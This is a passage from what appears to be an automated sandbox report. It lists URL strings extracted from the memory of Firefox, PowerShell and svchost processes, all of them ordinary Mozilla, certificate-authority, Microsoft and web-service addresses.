Source: firefox.exe, 00000010.00000002.3307005394.000001A8B278A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: svchost.exe, 0000000C.00000003.2982483521.0000029748840000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000007.00000002.3030468982.0000000004EF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000010.00000003.3166689570.000001A8C029B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3212699709.000001A8C02BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3216367236.000001A8C02BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000010.00000003.3263352248.000001A8C37E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3153226064.000001A8B7DE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3122752444.000001A8B7DE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3155324261.000001A8B7DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235722215.000001A8C37DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000010.00000003.3153226064.000001A8B7DE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3122752444.000001A8B7DE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3155324261.000001A8B7DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/9
Source: firefox.exe, 00000010.00000003.3225852250.000001A8B8034000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3136123245.000001A8C0072000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3338609624.000001A8B77AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3126451477.000001A8B7F1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3126451477.000001A8B7F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3345552050.000001A8B7F32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3168949956.000001A8B7F71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3214998427.000001A8C0042000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3246944068.000001A8B91AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3123477613.000001A8B7FB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3144090733.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3125375221.000001A8B7FEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3217438778.000001A8B7F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3168949956.000001A8B7F6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3208529617.000001A8B7F13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3122026688.000001A8B7FB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3329068400.000001A8B6D37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3258702322.000001A8B8CED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3128048077.000001A8C0072000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3220095844.000001A8B66D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3144473251.000001A8B7F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: powershell.exe, 00000007.00000002.3051147504.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000010.00000002.3344282918.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3274109850.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: firefox.exe, 00000010.00000002.3344282918.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3274109850.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000007.00000002.3030468982.0000000004A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%squicksuggest.impressionCaps.stats
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sgecko.handlerService.defaultHandlersVersionextractScheme/fixupC
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000010.00000003.3275175701.000001A8B2AAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: firefox.exe, 00000010.00000003.3236983756.000001A8BFD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000010.00000002.3327834513.000001A8B6A50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B33A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3106604957.000001A8B8ED3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3398000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8B6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6159000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3328304158.000001A8B6B4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3328304158.000001A8B6B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000010.00000003.3258101012.000001A8B8D4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3328304158.000001A8B6B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/sessionstore/Pri
Source: firefox.exe, 00000010.00000002.3344282918.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3274109850.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 00000010.00000002.3344282918.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3274109850.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000010.00000003.3049091889.000001A8B6D83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000010.00000003.3242315863.000001A8B9F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000010.00000003.3257505596.000001A8B8D82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3270251672.000001A8B8D8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgbrowser.urlbar.suggest.topsitesremoveTabsProgressListenercreateContentPrin
Source: firefox.exe, 00000010.00000002.3327834513.000001A8B6A50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads-us.rd.linksynergy.com/as.php
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: powershell.exe, 00000007.00000002.3030468982.0000000004A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.comrward-
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/a8bxj8j?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B749E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3307005394.000001A8B2781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000010.00000003.3238343935.000001A8C3792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3302124352.000001A8A5F0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3263073996.000001A8C3846000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3302124352.000001A8A5F6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.comorward-
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
